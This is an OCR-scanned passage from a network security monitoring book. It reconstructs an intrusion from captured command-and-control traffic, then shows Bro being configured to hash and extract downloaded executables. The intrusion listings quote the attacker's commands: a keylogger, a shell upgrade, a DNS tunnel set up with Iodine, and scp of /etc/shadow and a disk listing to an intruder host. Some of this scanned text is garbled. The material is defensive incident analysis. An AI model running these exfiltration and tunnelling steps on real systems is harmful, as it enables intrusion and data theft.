select the keyboard to monitor and reminds him to look in the /tmp/.xkey.log 
directory for results. 





DSTI? eeXcerexae exei core channel write....)....75957044127671614064150081298305........ 2.xsvs 
sisii 4./keylog.sh 

DST veenssenreevis 

SRC: 

SREP ss corse ev core channel write....)....75957044127671614064150081298305............ s... 
SRC: 

SREP Sedes erus PE: 4... Virtual core pointer .id-2.[master 


pointer (3)] 
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SRC: ...  ... Virtual core XTEST pointer .id-4.[slave pointer (2)] 

SRC: ...  ... VMware VMware Virtual USB Mouse .id-7.[slave pointer (2)] 

SRC: ...  ... VMware VMware Virtual USB Mouse .id-8.[slave pointer (2)] 

SRC: ...  ... ImPS/2 Generic Wheel Mouse .id-10.[slave pointer (2)] 

SRC: ... Virtual core keyboard .id-3.[master keyboard (2)] 

SRC: ... Virtual core XTEST keyboard .id=5.[slave keyboard (3)] 

SRC: ... Power Button .id=6.[slave keyboard (3)] 

SRC: ... AT Translated Set 2 keyboard .id-9.[slave keyboard (3)] 

SRE sivas cates saree seis core_channel_write....)....SRREVPPXSOANPPYWFQHSVCNMFFBIBMMJ....U...... 
ETAT 2..... eese AKBD ID ? 

SRGS- exisse eretarecdrerareiwiaieiers core channel write....)....NBVSIORNAUEONTEOFFFCJMHXSAEMNONA . 

DS Tiss veles aeq core channel write....)....45042497071271683260243072775318........ 222v 
DST: 49 

DST des: sae sissies 

SRC: 

SRE: videos seo sE eere core channel write....)....45042497071271683260243072775318............... 
SRC: s 

SRE euet ER apr ee 4The keylog can be downloaded from /tmp/.xkey.log 


SRC: Use the meterpreter download function 
SRC: Press CTLR+C to exit this session, keylogger will run in backround 





Listing 11-17: The keylog.sh script and reminder 


Next, we see evidence that the intruder transferred a file called 
iodine_0.6.0~rc1-7_1386.deb from 203.0.113.15 to 172.16.0.37, as shown in 
Listing 11-18. This appears to be a Debian package of the Iodine covert 
DNS tunnel tool. The intruder must have used this tool to create the tens 
of thousands of unusual DNS entries discussed earlier. 





DS an re cr core channel open....)....32392496134731212115385138997235........ 3std 
api fs file........ D coe irqesed aa ees $....iodine 0.6.0"rc1-7 i386.deb......... wbb. 





Listing 11-18: The iodine 0.6.0-rc1-7 i386.deb reference 


Improving the Shell 


The next command is fascinating, as shown in Listing 11-19. By running 
python -c ‘import pty;pty.spawn("/bin/bash")', the intruder improves the shell 
he is using on the victim system by starting a Bash shell. By using Python 

to start a Bash shell, he creates a shell that can prompt the user and accept 
replies. (When an intruder opens a shell with Meterpreter, he may not have 
access that allows him to enter passwords when prompted. This is a problem 
when trying to run sudo or answer any other command that prompts the user.) 





DSTI: emestnersei EE core channel write....)....07078092619529470178701062926304........ Deis 
.6...4python -c ‘import pty;pty.spawn("/bin/bash")' 





Listing 11-19: Bash shell startup 
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Continuing through the transcript reveals the reason for the Bash shell. 
The intruder uses scp, as shown in Listing 11-20, to transfer (via SSH) the 
iodine_0.6.0~rcl-7_i386.deb package from 172.16.0.37 to 10.0.0.99 as user ubu32. 
How does the intruder have the password to log in to 10.0.0.99? He prob- 
ably captured it with his keylogger. 


DSTS Sredberes ve Urs core channel write....)....28332839019310295629231957979483........ 2e abate 
.-...4scp iodine 0.6.0"rc1-7 i386.deb ubu32@10.0.0.99:/tmp 





Listing 11-20: Transfer of the iodine 0.6.0-rcl-7 i386.deb package 


Summarizing Stage 1 


At this point, the intruder has taken several steps involving one victim sys- 
tem, as summarized in Figure 11-17. He enticed a user to click a malicious 
link posted to Twitter. That link pointed to a URL involving 203.0.113.15, 
and the victim 172.16.0.37 visited a web server on the intruder's system. 
That malicious web server offered code that exploited a vulnerable Java 
instance on 172.16.0.37. The payload delivered with the Java exploit caused 
the victim to reach back again to 203.0.113.15 to retrieve more attack soft- 
ware from the intruder. 


1. Victim clicks on malicious URL on Twitter. 


SOCIAL MEDIA OR OTHER COMMUNICATION 
Victim 


Twitter pa * —— 17246037 
2. Victim web browser connects to 
203.0.113.15:8080/healthcarenews. 
NETWORK CONNECTION 
Intruder 1 POM" Victim 
203.0.113.15 172.16.0.37 
3. Attack method exploits vulnerable Java Exbloited 
software on victim system to execute code. P 
4. Malicious code causes victim to reach back to intruder 
so intruder can retrieve more malicious software. 
NETWORK CONNECTION 
Intruder 1 BE EATE EEE IATE ETTE EOE A Victim 
203:0.113.15 172.16.0.37 


Figure 11-17: A summary of stage 1 of the client-side compromise 
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Pivoting to a Second Victim 


Next, as shown in Listing 11-21, it appears that the intruder is connecting 
from the first victim, 172.16.0.37, via SSH as user ubu32 to a second victim, 
10.0.0.99. This is followed by the login prompt on 10.0.0.99, another Linux 
system that's running the same kernel. It advertises itself as an Ubuntu 
12.0.4.2 LTS distribution. 





DST es brise mer ERE core channel write....)....21495256091063571385331835436694........ Dimes: 
— 4ssh ubu32010.0.0.99 

SRCE: ssl seeker mers EE 4Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.5.0-25-generic i686) 
SRC: 

SRC: * Documentation: https://help.ubuntu.com/ 

SRC: 


SRC: O packages can be updated. 
SRC: O updates are security updates. 





Listing 11-21: Ubuntu connection to another victim 


By running sudo bash, as shown in Listing 11-22, the intruder escalates 
his access to root privileges. 





DST? ne. Veeeccasae ass core channel write....)....29459743353766825927232004106327........ Dative 
dos 4sudo bash 

DS TS esi sien 

DST: 

SRC: 

SROs arere nesrin core channel write....)....29459743353766825927232004106327............ 
SRG: sexe tns ens 

SRO? sess Per vas eie Des sab REUS 4sudo bash 

SRG hase ens we d tem core channel write....)....UJUHVDEWIYIKWPCUMRTWODZUIDRXEMKGC. 

SRC: . 

SRO? sedara onana PETA #...4[sudo] password for ubu32: .......... eese core channel 
write....)....JTCKKYYZSXEFTWGOEWDZKWHCOLJ YUWZG . 

DSTA: sssMesesiaserers core channel write....)....56755805437825017718244048581240........ 2.595 
xd 4wonderubu 





Listing 11-22: Access escalation with sudo bash 


Installing a Covert Tunnel 


As root, the intruder now installs the Iodine DNS covert tunnel tool via 
dpkg -i iodine_0.6.0~rc1-7_i386.deb, as shown in Listing 11-23. 





DST ianei ee nte core channel write....)....64642638366982677090891088802167........ dovesse 
.,...Adpkg -i iodine 0.6.0^rc1-7 i386.deb 





Listing 11-23: lodine DNS covert tunnel tool installation 


Client-side Compromise 257 


Next, we see that the intruder starts the Iodine tool with the command 
iodine -r 203.0.113.8 practicalnsm.com, as shown in Listing 11-24. He is start- 
ing the Iodine client, pointing it to a server at 203.0.113.8, with DNS traffic 
using the practicalnsm.com domain. (I wonder who caused this intrusion?) 
Because the attacker initiates Iodine in this manner, it looks like the victim, 
10.0.0.99, will communicate directly with an Iodine server at 203.0.113.8. 
(There is no need to communicate with a DNS server when Iodine is run in 
this manner, but the covert traffic will still appear as DNS.) 


DSIS omenire n core channel write....)....54112282595894012391779534721588........ PISTE. 
./...4iodine -r 203.0.113.8 practicalnsm.com 





Listing 11-24: lodine tool startup 


Listing 11-25 likely shows output received from the Iodine server. We 
see that the server IP address is 10.10.0.1, which tells us that there is a VPN 
sort of channel between 10.0.0.99 and 203.0.113.8. Now the two computers 
can communicate with each other via IP addresses like 10.10.0.1 for the 
server, rather than 203.0.113.8. (The Iodine tool encapsulates the intruder's 
communications in DNS traffic.) 





SREE ameamini er e demos core channel write....).... 
WXOSROPTXGMIWNZFNDHOHWTCFEJDDKUF......... eee 2.......1...A4Server tunnel IP is 10.10.0.1 





Listing 11-25: Output from the lodine server 


To test connectivity, the intruder uses the ping utility to contact 10.10.0.1, 
the IP address at the other end of the tunnel, as shown in Listing 11-26. The 
remote system replies, and the tunnel is working. An NSM sensor will not 
see ICMP traffic, but it will start seeing odd DNS activity. 





ip cee ares Daanan 4ping -c 3 10.10.0.1 

SRE: va edv se tese as nena core channel write....).... BGCEPMSGLBOFCPOHKXSKOAMVWVCRDKFU. 
SRC: . 

SRG: e pee bd se Dress :...4PING 10.10.0.1 (10.10.0.1) 56(84) bytes of data. 

SREE ce cian wage ores PERET core_channel_write....)....GSFTPZWPJXAREZEXEEALKFUBCUSRLPEK. 
SRC: . 

SREP: severi RP SES p A...464 bytes from 10.10.0.1: icmp req-1 ttl-64 time-2.07 ms 
SRE asset Ra ee core_channel_write....)....MUNJGYKCWWYETWKFZOWTIVKVAQNLKNCOQ. 
SRC: . 

SREB cae EE Doane A...464 bytes from 10.10.0.1: icmp_req=2 ttl=64 time=1.15 ms 
SROS sosser ssss ee core channel _write....)....JLCWSBHPCCBTZFUVTJUYBYQVUOXEZPPF . 
SRC: . 

SRC? 1550. dotes uvis Deobesbeers 464 bytes from 10.10.0.1: icmp req-3 ttl-64 time-1.12 ms 
SRC: 

SRC: --- 10.10.0.1 ping statistics --- 


SRC: 3 packets transmitted, 3 received, 0% packet loss, time 2003ms 
SRC: rtt min/avg/max/mdev - 1.128/1.453/2.073/0.439 ms 





Listing 11-26: Ping test for tunnel connectivity 
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Enumerating the Victim 


Now the intruder turns to enumerating the victim. He prints the output of 
the /etc/shadow file, which contains password hashes. Listing 11-27 shows 





part of this file. 
SRC: root@intubu32:~# ......ccc eee eee eee core channel write....).... 
LBTPOVHNRBVNFEXWLPWAAXXSYKEY JOMW . 
DST) zs [leet s core channel write....)....76703429583552950498014447957238........ 2 uU 
ied 4cat /etc/shadow 
DS TS minention 
SRC: 
SRCE: essc cea sev us core channel write....)....76703429583552950498014447957238. .......... ess. 
SRE: erase as 2 siesta a se 4cat /etc/shadow 


SRC: root:!:15773:0:99999:7::: 
SRC: daemon:*:15749:0:99999:7::: 
SRC: bin:*:15749:0:99999:7::: 
SRC: sys:*:15749:0:99999:7::: 
SRC: sync:*:15749:0:99999:7::: 
SRC: games:*:15749:0:99999:7::: 
SRC: man:*:15749:0:99999:7::: 
SRC: 1p:*:15749:0:99999:7::: 





Listing 11-27: Contents of the /etc/shadow file 


As shown in Listing 11-28, the intruder uses scp to copy the /etc/shadow 
file to 10.10.0.1, the server on the other side of the Iodine covert channel. 
He connects as user raybourque and copies the file to Ray's home directory. 
His password is Bruins. I like this guy. (Note that by using scp, the transfer is 
encrypted within the DNS covert channel.) 





SRC:- Qesezexe sees Decent @...4scp /etc/shadow raybourque@10.10.0.1:/home/raybourque/ 

PE careanes core channel write....)....12979532812626493965961252667084........ Zysk 
E 4Bruins 

SRC: shadow 100% 1121 1.1KB/s 00:00 





Listing 11-28: Copying the /etc/shadow file 


The intruder next creates a recursive directory listing of the entire hard 
drive and puts the contents in a file titled intubu32.ls-alR.txt, as shown in 
Listing 11-29. 





DSTI essetis pue core channel write....)....67917540968083609031577076644751........ p 
...(...41s -alR / > intubu32.1s-alR.txt 





Listing 11-29: Creating a recursive directory listing of the hard drive 


After creating the file, the intruder again uses scp to transfer it to his 
server as user raybourque, as shown in Listing 11-30. 
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SREE ios ccbisaSaee ss pM 4scp intubu32.1s-alR.txt raybourque@10.10.0.1:/home/raybourque 
SRC: «32.1s-alR.txt raybourque@10.10.0.1:/home/raybourque 


So TE P PDOSPET IS / 

SRON ees sra xum ek ue RR S core channel write....)....USSCEEVDBIGFIRWOSESCHCUWSDAZFPJS. 

SRC: 

SREP 2oieekewera Quies APASSWOTd: coreean eee eee eee eeee core channel write....).... 
GUTYMDXFGXOWFPYSCFKMNPZTOEKYHWYC . 

DSlusssiSoa nsu C YES core channel write....)....56606769242836968330355877691782........ ETS 


ssai 4Bruins 





Listing 11-30: Transfer of hard drive file listing to intruder's server 


That's the end of the transcript. 


Summarizing Stage 2 


In the second half of this intrusion, the intruder, still operating from 
203.0.113.15, used stolen credentials to connect via SSH from 172.16.0.37 
to 10.0.0.9. He copied a DNS covert tunnel tool to the second victim and 
configured it to speak to a new intruder system at 203.0.113.8. The intruder 
activated the covert tunnel, and we saw that it communicated via DNS 
requests and replies. Within the covert tunnel, the intruder copied sensitive 
data enumerated from the second victim, 10.0.0.9. Figure 11-18 summarizes 
these actions. 


1. Intruder pivots from Victim 1 to Victim 2. 





NETWORK CONNECTION 
Intruder 1 ee ee a Ie a x Victim 1 
203.0.113.15 172.16.0.37 
Y 
Victim 2 
10.0.0.99 
2. Intruder installs DNS covert tunnel tool and creates 
channel to second intruder system (Intruder 2). 
NETWORK CONNECTION 
Intruder 2 Victim 2 
203.0.113.8 10.0.0.99 
3. Within covert tunnel, intruder copies sensitive 
data from Victim 2 to Intruder 2. 
NETWORK CONNECTION 
Intruder 2 ————— "M — ee ee Victim 2 
203.0.113.8 10.0.0.99 


Figure 11-18: A summary of stage 2 of the server-side compromise 
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Conclusion 


Our review of this chapter's example showed that the intruder was very 
active on the original victim, 172.16.0.37, and used information gathered 
from that system to pivot to 10.0.0.99. The initial review of NSM data out- 
lined the broad story of the intrusion, but examining the command-and- 
control channel helped fill in some blanks. Thanks to the NSM platform 
capturing full packet data, the Vivian's Pets CIRT knows what happened 
to the two systems on its network. 

This example of a client-side compromise began with an innocent 
search on Twitter and concluded with two compromised machines and a 
covert channel carrying sensitive information outside the company. Our 
network-centric approach answered many questions about the course of the 
intrusion, but it also showed that in some ways, the CIRT got lucky. If the 
command-and-control channel between 203.0.113.15 and 172.16.0.37 had 
been encrypted, the CIRT would not have learned critical details about 
the intrusion. For that reason, it's useful to have host-centric forensics and 
investigation techniques ready if possible, but that's a topic for someone 
else's book! 

Speaking of Twitter, the analysts do have some information about 
the source of the attack. Threat agents are humans who might make bad 
choices. Defenders can sometimes capitalize on these bad choices to better 
understand the threat and defend the network. In the case of this intrusion, 
several hours after the covert channel died, the tweet shown in Figure 11-19 
appeared. Pay attention to the bottom of the figure where the tweet's text 
appears. 


W Twitter / Search - @callbz x 


€ > C [B itere IUS https,//twitter.com/search/realtime?q=%40callbackpnsm&stc=typd 


Twitter - Mozilla Firefox 
M Twitter http://203.0....althe 


© | & Twitter, inc. (US) https://twitter.com 


Here are some people you might enjoy following. 
Refresh] - View all 


[EYONE PLACE B| 














Jamie Patricof Tyra Banks Charlie Sheen © 
I Follow 3f Follow 3f Follow 


Tweets 


m ubus2 
IE lama user created for demo purposes. My owner is writing a book. 


i] 
L3 
T 
5 
eg 


Jessica Alba t 
Thx Gisofifii & Ghellogiggles! Xoxoxo #thehonestlife instagr.am 
IpIWSX2Hvsurl/ 


Callbackpnsm @ 1m 
@ubu32pnsm Thanks for checking out the healthcare update. One of 
us is #winning. pic.twitter.com/mD4y6eliqF- 

Reply t3Retweet 3 Favorite 





Figure 11-19: Last tweet from Callbackpnsm 
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This tweet is a combination of text and a picture. The tweet says 
“@ubu32pnsm Thanks for checking out the healthcare update. One of 
us is winning. pic.twitter.com/mD4y6eliqF.” The picture, shown in Fig- 
ure 11-19, appears to be a screen capture of an Ubuntu desktop; in fact, it 
shows the victim user's system. She is logged in to Twitter as user Ubu32pnsm. 
Two Firefox browser tabs are open. The second tab shows part of the URL 
for the phony Aealthcarenews website on 203.0.113.15. This intruder thinks 
he's a funny guy, but personalized messages like this could be his undoing. 


In order to not get caught, attackers also need to practice sound opera- 
tional security. 


EXTENDING SO 


So far, we've been working with the default 
installation of SO. This chapter introduces 





a few ways to extend it. You just need to edit 
a few configuration files and download some 
external content to get more from your SO setup. 


To move beyond the “stock” SO installation, we'll look at three ways to 
leverage additional functionality provided by the Bro suite: 


e Use the MD5 hashes logged by Bro with the website VirusTotal or other 
third-party analysis engines. 

e Configure Bro to extract binaries from network traffic, so that you can 
submit those artifacts to third-party analysis engines. 


e Integrate external intelligence from Mandiant’s APTI report with Bro 
to generate alert data. 


The chapter concludes with an example that shows how SO reports and 
extracts the download of a malicious binary. 


Using Bro to Track Executables 


When trying to defend an enterprise, CIRTs can benefit by knowing which 
executables users are downloading over the network. Usually, these exe- 
cutables are benign tools or packages that people need to do their jobs, but 
sometimes they're malicious software. Bro can help you to discover the sorts 
of executables people are downloading in order to protect them from harm. 


Hashing Downloaded Executables with Bro 


By default, the version of Bro shipped with SO calculates an MD5 hash (a 
cryptographic representation of a file's contents) for every executable down- 
loaded via HTTP. These hash values can help us track the executables 
downloaded by users. For example, Listing 12-1 shows how Bro tracks execut- 
able downloads. The notice.log file records data about hashes that Bro gener- 
ates when it sees executables transferred over HTTP. 


2013 -04-12T13:33:47+0000 mBNkITILBfa 192.168.2.108 49630 23.62.236.50 80 
1 GET download.cdn.mozilla.net /pub/mozilla.org/firefox/releases/20.0.1/ 
win32/en-US/Firefox Setup 20.0.1.exe® = http://www.mozilla.org/en-US/products/download. 
html?product-firefox-20.080s-win&lang-en-US ^ Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) 
Gecko/20100101 Firefox/19.0 0 21036128 200 OK - - 

- (empty) -  -- application/x-dosexecO0 ^ 1e39efe30b02fd96b10785b49e23913b0 





Listing 12-1: Bro http.log entry for download of Firefox binary 


You can see the download of Firefox Setup 20.0.1.exe @, a file of type 
application/x-dosexec @, with the hash 1e39efe30bo02fd96b10785b49e23913b ©. 
By default, Bro reports when it hashes executables and writes an event to 
the Bro notice.log file, as shown in Listing 12-2. 


2013 -04-12T13:34:01+0000 mBNKITILBfa 192.168.2.108 49630 23.62.236.50 

80 tcp HTTP: :MD5@ 192.168.2.108 1e39efe30b02fd96b10785b49e23913b http: // 
download.cdn.mozilla.net/pub/mozilla.org/firefox/releases/20.0.1/win32/en-US/Firefox 
Setup 20.0.1.exe@  1e39efe30b02fd96b10785b49e23913b6 192.168.2.108  23.62.236.50 
80 - sov-etho-1 Notice::ACTION LOG 6 3600.000000 F 





Listing 12-2: Bro notice.log entry for MD5 calculation 


Here, you see the download of Firefox Setup 20.0.1.exe €, with Bro's rec- 
ognition that this is an HTTP and requires MD5 hashing @ and a match- 
ing hash 1e39efe30b02fd96b10785b49e23913b ©. You can use third-party sources 
with the hash to get more information about this download. 


Submitting a Hash to VirusTotal 


VirusTotal (http://www.virustotal.com/) is a popular online resource for 
learning more about binaries. In addition to submitting actual files, users 
can also submit hashes of binaries to VirusTotal to see if those hashes are 
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present in the VirusTotal database. If a previous user has already uploaded 
a binary with the same hash to VirusTotal, a search for that hash should 
reveal what VirusTotal knows about the binary submitted earlier. 

To see this functionality at work, we'll submit the hash logged by Bro 
from Listing 12-1, as shown in Figure 12-1. 


p total 


VirusTotal is a free service that analyzes suspicious files and URLs and facilitates 
the quick detection of viruses, worms, trojans, and all kinds of malware. 


1e39efe30b02fd96b10785b49e23913b Enter Term 


You may prefer to scan a file or scan a URL or find out more about searching 





Figure 12-1: Submitting the observed MD5 hash to VirusTotal 


Within a few seconds, we see results like those shown in Figure 12-2. 


D total 


SHA256: b7fce818551ca1dí9361c661a714842369cd610e452f5462a7b56393df909cc2 


File name: TzS.sfx.exe 


Detection ratio: 0/45 


Analysis date: 2013-04-17 15:29:15 UTC (3 hours, 8 minutes ago ) 


E Analysis | € Additional information Comments © Votes 





Figure 12-2: VirusTotal results for the submitted MD5 hash 


VirusTotal has a match for this hash (notice the four angels), and no 
antivirus engines have detected the binary as malicious, as shown in the 
Detection Ratio field. 

The Additional Information tab offers more data on the binaries that 
VirusTotal has seen with the matching MD5 hash, as shown in Listing 12-3. 





First seen by VirusTotal 
2013-04-10 22:10:23 UTC ( 6 days, 20 hours ago ) 


Last seen by VirusTotal 
2013-04-17 15:29:15 UTC ( 3 hours, 8 minutes ago ) 


File names (max. 25) 


Firefox Setup 20.0.1.exe 
Firefox Setup 20.0.1.exe 
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test.exe 

72S.Sfx.exe 

Firefox Setup 20.0.1GB32.exe 
TtfjHao4.exe.part 
Firefox Setup 20.0.1.exe 
7z2S.sfx 

file-5362262 exe 
Firefox%20Setup%2020.0.1.exe 





listing 12-3: First seen, last seen, and filename information from VirusTotal 


As highlighted in bold, names referencing Firefox setup (Firefox_ 
Setup_20.0.1.exe) are the same as the binary we observed in our Bro logs, 
but others, like file-5362262_exe, are completely different. 

This analysis is helpful, but not conclusive. It would be better to have 
copies of the binaries themselves, not just their hashes. We could do more 
analysis with the original artifacts. 


Using Bro to Extract Binaries from Traffic 


By default, Bro with SO logs MD5 hashes of binaries downloaded over 
HTTP, but it does not extract the binaries and save them to disk. It’s easy 
to configure Bro to take these actions, however, but we do need to be care- 
ful not to overwhelm the sensor with the extracted binaries. To reduce that 
potential problem, we’ll tell Bro to extract Windows executables downloaded 
over HTTP and FTP only. 


Configuring Bro to Extract Binaries from Traffic 


Bro inspects traffic and generates logs based on the policy scripts that ship 
with the default installation. Policy scripts are the ways analysts use the Bro 
network programming language (a term popularized by Liam Randall) to tell 
the Bro engine what to do with the traffic it sees. 

Bro reports what it finds using logfiles and messages that it creates 
using its notice framework. (You're encouraged to leave the default scripts 
alone, and to make changes to the policy scripts found in the /opt/bro/share/ 
bro/site/ directory.) 

To reconfigure Bro to extract Windows executables downloaded over 
HTTP and FTP, we start by creating a place to store extracted content with 
this command: 





$ sudo mkdir -p /nsm/bro/extracted/http/ /nsm/bro/extracted/ftp/ 





Next, we create a copy of the local.bro policy script for safekeeping. 





$ sudo cp /opt/bro/share/bro/site/local.bro /opt/bro/share/bro/site/local.bro.orig 
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Now we edit the /ocal.bro file. (I'm using the vi editor, but use any editor 
you like, such as the Leafpad program bundled with SO.) 





$ sudo vi /opt/bro/share/bro/site/local.bro 





Listing 12-4 shows the content to add at the very bottom of the Jocal.bro file. 


# Extract EXEs 
redef HTTP::extract file types += /application\/x-dosexec/;@ 
redef FTP::extract file types += /application V/x-dosexec/; 0 


# Extract files to /nsm/bro/extracted/ 
redef HTTP::extraction prefix - "/nsm/bro/extracted/http/http-item"; 
redef FTP::extraction prefix - "/nsm/bro/extracted/ftp/ftp-file"; 





Listing 12-4: Additions to the end of the local.bro file that enable Windows executable 
extraction for HTTP and FTP 


If you wanted Bro to extract executables from Simple Mail Transfer 
Protocol (SMTP) as well, you could add more lines similar to those in 
Listing 12-4, replacing HTTP with SMTP. Support for extracting binaries from 
Internet Relay Chat (IRC) is possible using the same method. To extract 
more than Windows executables, you could alter € and 6 so that the 
application portions read as follows: 





/application\/.*/; 





Replacing x-dosexec with .* tells Bro to extract any application type it 
recognizes. You should not run this sort of configuration in production 
because you could overload your sensor as it tries to rebuild and write every- 
thing Bro recognizes. Use /application\/.*/; only to process saved traces 
with limited amounts of traffic. 

Now that we’ve altered Bro’s local.bro policy script, let’s test our new 
functionality. 


Collecting Traffic to Test Bro 


When adding new capabilities to Bro and your SO installation, you should 
test the changes manually before committing them. Bro allows you to run 
policy scripts and other functionality against saved traffic, and we’ll do this 
to test its newly configured ability to extract binaries from packets. 

To provide the traffic for this test, we will download the Windows SSH 
client PuTTY via HTTP and FTP. The PuTTY website (http://www. chiark 
.greenend. org.uk/~sgtatham/putty/download.himl) provides links for download- 
ing PuTTY via HTTP (hitp://the.earth.li/~sgtatham/putty/latest/x86/putty.exe) 
and FTP (ftp://ftp.chiark.greenend.org.uk/users/sgtatham/putty-latest/x86/putty 
.exe), giving us ways to test the capabilities we added to Bro. To save the traf- 
fic for the test, we will determine the IP addresses of the two servers hosting 
putty.exe via HTTP (the.earth.i) and FTP (/ftp.chiark.greenend.org.uk), as shown 
in Listing 12-5, using the Linux host command in a terminal window. 
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$ host the.earth.li 

the.earth.li has address 46.43.34.310 

the.earth.li has IPv6 address 2001:41c8:10:b1f:c0ff:ee:15:900d 
the.earth.li mail is handled by 10 mail.the.earth.li. 


$ host ftp.chiark.greenend.org.uk 

ftp.chiark.greenend.org.uk is an alias for service-name.chiark.greenend.org. 
uk. 

service-name.chiark.greenend.org.uk has address 212.13.197.2290 
service-name.chiark.greenend.org.uk mail is handled by O . 





Listing 12-5: Determining the IP addresses for HTTP and FTP download servers 


Next, we run two instances of Tcpdump: one configured to log traffic 
to and from the HTTP server at 46.43.34.31 8, and another to log traffic to 
and from the FTP server at 212.13.197.229 8. Be sure to run the first com- 
mand in one terminal, for the HTTP traffic: 





$ sudo tcpdump -n -i etho -w http-putty.pcap -s 0 host 46.43.34.31 





Run the second command in another terminal, for the FTP traffic: 


$ sudo tcpdump -n -i etho -w ftp-putty.pcap -s 0 host 212.13.197.229 





Now we visit the PuTTY download website, shown in Figure 12-3, and 
download putty.exe via HTTP and then FTP. 


€ > C  [)www.chiarkgreenend.org.uk/-sgtatham/putty/download.html & 


Binaries 


The latest release version (beta 0.62). This will generally be a version I think is reasonably likely to work 
well. If you have a problem with the release version, it might be worth trying out the latest development 
snapshot (below) to see if I've already fixed the bug. before reporting it to me. 


For Windows on Intel x86 
PuTTY: putty.exe (or by FTP) (RSA sig) (DSA sig) 








Figure 12-3: PUTTY website download 


Once the download is finished, stop each Tcpdump instance by press- 
ing CTRL-C, and then use Capinfos to look at the metadata for each trace, 
as shown in Listing 12-6. 





$ capinfos putty-http.pcap putty-ftp.pcap 

File name: putty-http.pcap 

File type: Wireshark/tcpdump/... - libpcap 
File encapsulation: Ethernet 

Packet size limit: file hdr: 65535 bytes 

Number of packets: 509 


File size: 521880 bytes 
Data size: 513712 bytes 
-- snip -- 


File name: putty-ftp.pcap 

File type: Wireshark/tcpdump/... - libpcap 
File encapsulation: Ethernet 

Packet size limit: file hdr: 65535 bytes 

Number of packets: 558 


File size: 525649 bytes 
Data size: 516697 bytes 
-- snip -- 





Listing 12-6: Capinfos output for the HTTP and FTP traces 


Testing Bro to Extract Binaries from HTTP Traffic 


With the test traffic data ready, let's run Bro against each trace to see what 
logs it creates. Listing 12-7 runs Bro against the putty-http.pcap file € and 
tells Bro to reference our modified local.bro file @. (Notice that I run these 
commands in a directory called bro-http to separate the output from the sec- 
ond test for FTP.) 





$ sudo bro -r putty-http.pcap® /opt/bro/share/bro/site/local.bro® 

WARNING: No Site::local nets have been defined. It's usually a good idea to 
define your local networks. 

WARNING: Template value remaining in BPFConf filename: /etc/nsm/{{hostname}}- 
{{interface}}/bpf-bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro, 
line 99) 





Listing 12-7: Running Bro against the saved HTTP traffic 


We can now see which logs Bro generated. First, we'll look at the contents 
of the current working directory, as shown in Listing 12-8. 





$ ls -al 

total 560 

drwxrwxr-x 3 sov sov 4096 Apr 17 19:33 . 

drwxr-xr-x 29 sov sov 4096 Apr 17 19:32 .. 

-IW-I--Y-- 1 root root 280 Apr 17 19:33 capture loss.log 


-IW-I--r-- 1 root root 763 Apr 17 19:33 conn.log 
-IW-r--r-- 1 root root 1376 Apr 17 19:33 http.log® 
-IW-r--r-- 1 root root 7888 Apr 17 19:33 loaded scripts.log 
-IW-I--Y-- 1 root root 938 Apr 17 19:33 notice.log 
-IW-r--r-- 1 root root 1128 Apr 17 19:33 notice policy.log 
-IW-I--Y-- 1 root root 251 Apr 17 19:33 packet filter.log 
-IW-I--Y-- 1 root root 521880 Apr 17 17:53 putty-http.pcap 
-IW-I--r-- 1 root root 951 Apr 17 19:33 reporter.log 
drwx------ 3 root root 4096 Apr 17 19:33 .state 





Listing 12-8: Logs created by running Bro against the saved HTTP traffic 


Now let's examine the http.log file € in more detail with the cat and 
bro-cut commands in tandem, as shown in Listing 12-9. The -d flags 
tells bro-cut to display a human-readable timestamp, and -C tells it to pre- 
serve the file headers to show the fields that are present. 
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$ cat http.log | bro-cut -d -C 
#separator \x09 

#set_separator , 

#empty_field (empty) 
#unset_field - 

#path http 

Hopen — 2013-04-17-19-33-23 


#fields ts uid id.orig h id.orig p id.resp h id.resp p trans | 
depth method host uri referrer user agent request body len 

response body len status code status msg info code info msg filename 
tags username password proxied mime type md5 extraction file 


#types string string addr port addr port count string string string string 
string count count count string count string string table[enum] string string 
table[string] string string file 


2013-04-17117:53:28«00000 cSb1GfCIIL9® 192.168.2.108 53999 46.43.34.31 

80 1 GET the.earth.li /~sgtatham/putty/latest/x86/putty.exe® ^ http:// 
www. chiark.greenend.org.uk/^"sgtatham/putty/download.html Mozilla/5.0 (Windows NT 6.1; WOW64) 
AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31 0 300 3020 
Found  - - - (empty) - - - text/html - - 


2013-04-17117:53:28«00000 cSb1GfCIIL9®@ 192.168.2.108 53999 46.43.34.31 

80 2 GET the.earth.li /~sgtatham/putty/0.62/x86/putty.exe@ http: // 
www. chiark.greenend.org.uk/~sgtatham/putty/download. html Mozilla/5.0 (Windows NT 6.1; WOW64) 
AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31 0 483328 
2008 OK - - - (empty) - - - application/ 
x-dosexec a3ccfd0aa0b17fd23aa9fd0d84b86c05@ /nsm/bro/extracted/http/http- 

item 192.168.2.108:53999-46.43.34.31:80 resp 2.datO 


#close 2013-04-17-19-33-23 





Listing 12-9: Bro http.log for HTTP transfer 


The two log entries ® and @ show traffic over a single web connec- 
tion, because Bro assigned the same tracking ID ® and Ó to both records. 
In the first record 8, the web server replies with a 302 code ® that directed 
the download from /~sgtatham/putty/latest/x86/putty.exe © to /~sgtatham/ 
putty/0.62/x86/putty.exe @. In the second record 8, the web server replies with 
a 200 code O showing that it has the requested file. Finally, the second record 
shows that Bro extracted putty.exe to a specific directory and file, /nsm/bro/ 
extracted/http/http-item_192.168.2.108:53999-46.43.34.31:80_resp_2.dat ©. We 
also have an MD5 hash for the file, a3ccfd0aa0b17fd23aa9fdod84b86co5 ©. 

Bro is processing this HTTP traffic as we expected. 


Examining the Binary Extracted from HTTP 


Now that we have indicators that Bro extracted a file from the HTTP traffic, 
we can examine it on disk. Listing 12-10 shows the results of that analysis. 
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$ ls -al /nsm/bro/extracted/http/http-item_192.168.2.108:53999-46.43.34.31:80_ 
resp 2.dat 

-IW-I--r-- 1 root root 4833280 Apr 17 19:33 /nsm/bro/extracted/http/http- 
item 192.168.2.108:53999-46.43.34.31:80 resp 2.dat 


$ file /nsm/bro/extracted/http/http-item_192.168.2.108:53999-46.43.34.31:80_ 
resp 2.dat 

/nsm/bro/extracted/http/http-item 192.168.2.108:53999-46.43.34.31:80 resp 2. 
dat: PE32 executable (GUI) Intel 80386, for MS Windows® 


